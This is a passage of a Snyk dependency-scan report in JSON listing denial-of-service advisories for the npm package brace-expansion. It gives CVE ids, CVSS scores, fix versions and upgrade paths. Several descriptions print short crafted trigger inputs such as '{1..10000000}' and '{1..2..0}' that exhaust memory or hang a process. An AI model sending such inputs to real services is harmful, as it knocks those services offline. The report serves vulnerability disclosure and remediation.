"Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": 